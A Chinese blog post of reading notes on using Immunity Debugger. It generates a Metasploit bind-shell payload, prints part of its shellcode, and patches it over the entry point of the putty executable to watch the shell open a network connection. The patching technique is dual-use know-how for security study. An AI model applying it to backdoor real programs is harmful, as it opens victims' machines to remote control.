好记性不如铅笔头

安全, 操作系统

某《魔鬼训练营》读书笔记:Immunity Debugger的基本使用

!!!笔记仅供学习交流使用,请勿进行其他用途!!!

Immunity Debugger是一个非常强大的程序分析工具,这里作者只笔记下其最简单的使用方式。

首先我们生成一个最简单的payload,并且输出它的C代码到命令行:

root@kali:~# msfpayload windows/shell/bind_tcp C
/*
 * windows/shell/bind_tcp - 298 bytes (stage 1)
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, 
 * EnableStageEncoding=false, PrependMigrate=false, 
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
。。。。。
。。。。。
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";


/*
 * windows/shell/bind_tcp - 240 bytes (stage 2)
 * http://www.metasploit.com
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
。。。。。。。

这里我们使用第一段代码,用文本工具去掉引号,\x,以及回车:

fce8890000006089e531d2648。。。。。。9c685f675ecc3

我们打开Immunity Debugger软件,然后打开一个可执行的文件,这里我们使用putty。如下图:

通常打开了可执行文件后,行光标会自动的转到第一行要启动的命令处,如下图:

如果随便点了下,找不到第一行启动的位置,可以通过下面的方式转回去,如下图:

这里我们找到第一行要启动的位置是为了简单处理。当我们确认了第一处启动位置后,我们可以在这里设置一个断点,然后将后续的执行代码修改为我们刚刚处理后的代码,这样当程序顺序执行后,就可以直接执行到我们的代码了。
如下图,我们将处理后的代码复制一下,然后通过二进制粘贴的方式粘贴到Immunity Debugger中,需要注意的是这里的粘贴是覆盖,不是插入,而且被覆盖的数目要大于等于要粘贴的数目,因此我们这里需要先选中一大块内容,然后选择粘贴。如下图,我们把程序第一行启动后的流程全给覆盖了。

弄好后,我们在粘贴代码的两端设置断点,如下图:

然后就可以启动程序进行调试了。如下图图标:

这里我们在程序运行到第一个断点的位置时看下网络连接,因为这是还没有运行我们粘贴的代码。然后在程序运行到第二个断点时再看下连接,这里我们粘贴的代码已经运行完毕了。两次连接如下图:

发表评论

5 × 1 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据